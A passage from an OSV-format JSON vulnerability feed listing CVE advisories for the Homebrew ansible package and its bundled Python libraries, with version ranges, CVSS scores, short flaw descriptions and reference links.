memory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28493"},{"type":"WEB","url":"https://github.com/pallets/jinja/pull/1343"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/15ef8f09b659f9100610583938005a7a10472d4d"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g3rq-g295-4j3m"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/blob/ab81fd9c277900c85da0c322a2ff9d68a235b2e6/src/jinja2/utils.py%23L20"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2021-66.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PVAKCOO7VBVUBM3Q6CBBTPBFNP5NDXF4"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-19"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-PYTHON-JINJA2-1012994"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-7212","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:09Z","upstream":["GHSA-hmv2-79q8-fv6g","CVE-2020-7212","PYSEC-2020-149"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.1"},{"fixed":"2.9.4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.25.8","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Uncontrolled Resource Consumption in urllib3","details":"The _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7212"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/a74c9cfbaed9f811e7563cfc3dce894928e0221a"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hmv2-79q8-fv6g"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-149.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.25.8"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20178","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-20178","GHSA-wv5p-gmmv-wh9v","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"FIX","url":"https://github.com/ansible-collections/community.general/pull/1635%2C"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-20180","GHSA-fh5v-5f35-2rv2","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-20191","GHSA-8f4m-hccc-8qph","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality. Versions before ansible 2.9.18 are affected.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-20228","GHSA-5rrg-rr89-x9mv","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine 2.9.18, where sensitive info is not masked by default and is not protected by the no_log feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/73487"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-20270","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-9w8r-397f-prfh","CVE-2021-20270","PYSEC-2021-140"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.4","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Infinite Loop in Pygments","details":"An infinite loop in SMLLexer in Pygments versions 1.5 to 2.7.3 may lead to denial of service when performing syntax highlighting of a Standard ML (SML) source file, as demonstrated by input that only contains the \"exception\" keyword.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20270"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/f91804ff4772e3ab41f46e28d370f57898700333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1922136"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2021-140.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00003.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00006.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4889"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-21330","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-v6wp-4m6f-gcjg","CVE-2021-21330","PYSEC-2021-76"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"`aiohttp` Open Redirect vulnerability (`normalize_path_middleware` middleware)","details":"### Impact\n\nOpen redirect vulnerability — a maliciously crafted link to an aiohttp-based web-server could redirect the browser to a different website.\n\nIt is caused by a bug in the `aiohttp.web_middlewares.normalize_path_middleware` middleware.\n\n### Patches\n\nThis security problem has been fixed in v3.7.4. Upgrade your dependency as follows:\n[`pip install aiohttp >= 3.7.4`]\n\n### Workarounds\n\nIf upgrading is not an option for you, a workaround can be to avoid using `aiohttp.web_middlewares.normalize_path_middleware` in your applications.\n\n### References\n\n* [aiohttp @ PyPI]\n* [GHSA-v6wp-4m6f-gcjg]\n* [OWASP page on open redirects]\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the [aiohttp repo](https://github.com/aio-libs/aiohttp/issues/new/choose)\n* Email us at wk+aio-libs-security@sydorenko.org.ua and/or andrew.svetlov+aio-libs-security@gmail.com\n\nCredit: [Jelmer Vernooĳ] and [Beast Glatisant].\n\n[aiohttp @ PyPI]: https://pypi.org/p/aiohttp\n[`pip install aiohttp >= 3.7.4`]: https://pypi.org/project/aiohttp/3.7.4/\n[GHSA-v6wp-4m6f-gcjg]: https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg\n[OWASP page on open redirects]:\nhttps://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html\n\n[Jelmer Vernooĳ]: https://jelmer.uk\n[Beast Glatisant]: https://github.com/g147","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-v6wp-4m6f-gcjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21330"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2545222a3853e31ace15d87ae0e2effb7da0c96b"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/master/CHANGES.rst#374-2021-02-25"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2021-76.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FU7ENI54JNEK3PHEFGCE46DGMFNTVU6L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JN3V7CZJRT4QFCVXB6LDPCJH7NAOFCA5"},{"type":"WEB","url":"https://pypi.org/project/aiohttp"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-19"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4864"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-27291","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-pq64-v7f5-gqh8","CVE-2021-27291","PYSEC-2021-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.4","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments vulnerable to Regular Expression Denial of Service (ReDoS)","details":"In pygments 1.1+, fixed in 2.7.4, the lexers used to parse programming languages rely heavily on regular expressions. Some of the regular expressions have exponential or cubic worst-case complexity and are vulnerable to ReDoS. By crafting malicious input, an attacker can cause a denial of service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-27291"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14"},{"type":"WEB","url":"https://gist.github.com/b-c-ds/b1a2cc0c68a35c57188575eb496de5ce"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2021-141.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/03/msg00024.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00003.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GSJRFHALQ7E3UV4FFMFU2YQ6LUDHAI55"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WSLD67LFGXOX2K5YNESSWAS4AGZIJTUQ"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4878"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4889"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-28363","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:06Z","upstream":["GHSA-5phf-pp7p-vc2r","CVE-2021-28363","PYSEC-2021-59"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.10.3"},{"fixed":"3.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.4","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Using default SSLContext for HTTPS requests in an HTTPS proxy doesn't verify certificate hostname for proxy connection","details":"### Impact\n\nUsers who are using an HTTPS proxy to issue HTTPS requests and haven't configured their own SSLContext via `proxy_config`.\nOnly the default SSLContext is impacted.\n\n### Patches\n\n[urllib3 >=1.26.4 has the issue resolved](https://github.com/urllib3/urllib3/releases/tag/1.26.4). urllib3<1.26 is not impacted due to not supporting HTTPS requests via HTTPS proxies.\n\n### Workarounds\n\nUpgrading is recommended as this is a minor release and not likely to break current usage.\n\nConfiguring an `SSLContext` with `check_hostname=True` and passing via `proxy_config` instead of relying on the default `SSLContext`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-5phf-pp7p-vc2r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-28363"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/8d65ea1ecf6e2cdc27d42124e587c1b83a3118b0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-59.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-db/tree/main/vulns/urllib3/PYSEC-2021-59.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/main/CHANGES.rst#1264-2021-03-15"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commits/main"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.4"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4S65ZQVZ2ODGB52IC7VJDBUK4M5INCXL"},{"type":"WEB","url":"https://pypi.org/project/urllib3/1.26.4"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202305-02"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240621-0007"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-28957","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-jq4v-f5q6-mjqq","CVE-2021-28957","PYSEC-2021-19"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"3.2.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.3","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml vulnerable to Cross-Site Scripting ","details":"An XSS vulnerability was discovered in the python `lxml` clean module versions before 4.6.3. When disabling `the safe_attrs_only` and `forms` arguments, the `Cleaner` class does not remove the `formaction` attribute allowing for JS to bypass the sanitizer. A remote attacker could exploit this flaw to run arbitrary JS code on users who interact with incorrectly sanitized HTML. This issue is patched in `lxml` 4.6.3.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-28957"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/316"},{"type":"WEB","url":"https://github.com/lxml/lxml/pull/316/commits/10ec1b4e9f93713513a3264ed6158af22492f270"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/2d01a1ba8984e0483ce6619b972832377f208a0d"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a5f9cb52079dc57477c460dbe6ba0f775e14a999"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4880"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20210521-0004"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://pypi.org/project/lxml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XXN3QPWCTQVOGW4BMWV3AUUZZ4NRZNSQ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3C2R44VDUY7FJVMAVRZ2WY7XYL4SVN45"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/03/msg00031.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2021-19.yaml"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jq4v-f5q6-mjqq"},{"type":"WEB","url":"https://bugs.launchpad.net/lxml/+bug/1888153"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-33503","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:10Z","upstream":["GHSA-q2q7-5pp4-w6pg","CVE-2021-33503","PYSEC-2021-108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.1"},{"fixed":"4.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.26.5","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Catastrophic backtracking in URL authority parser when passed URL containing many @ characters","details":"### Impact\n\nWhen provided with a URL containing many `@` characters in the authority component the authority regular expression exhibits catastrophic backtracking causing a denial of service if a URL were passed as a parameter or redirected to via an HTTP redirect.\n\n\n### Patches\n\nThe issue has been fixed in urllib3 v1.26.5.\n\n### References\n\n- [CVE-2021-33503](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33503)\n- [JVNVU#92413403 (English)](https://jvn.jp/en/vu/JVNVU92413403/)\n- [JVNVU#92413403 (Japanese)](https://jvn.jp/vu/JVNVU92413403/)\n- [urllib3 v1.26.5](https://github.com/urllib3/urllib3/releases/tag/1.26.5)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Ask in our [community Discord](https://discord.gg/urllib3)\n* Email [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-33503"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/2d4a3fee6de2fa45eb82169361918f759269b4ec"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/5b047b645f5f93900d5e2fc31230848c25eb1f5f#diff-52026d639119bf1e0364836b4e8a18bd9ed3c95c6ba39b26534a5057a65e35bbR65"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q2q7-5pp4-w6pg"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2021-108.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6SCV7ZNAHS3E6PBFLJGENCDRDRWRZZ6W"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FMUGWEAUYGGHTPPXT6YBD53WYXQGVV73"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202107-36"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3447","published":"2026-08-13T16:3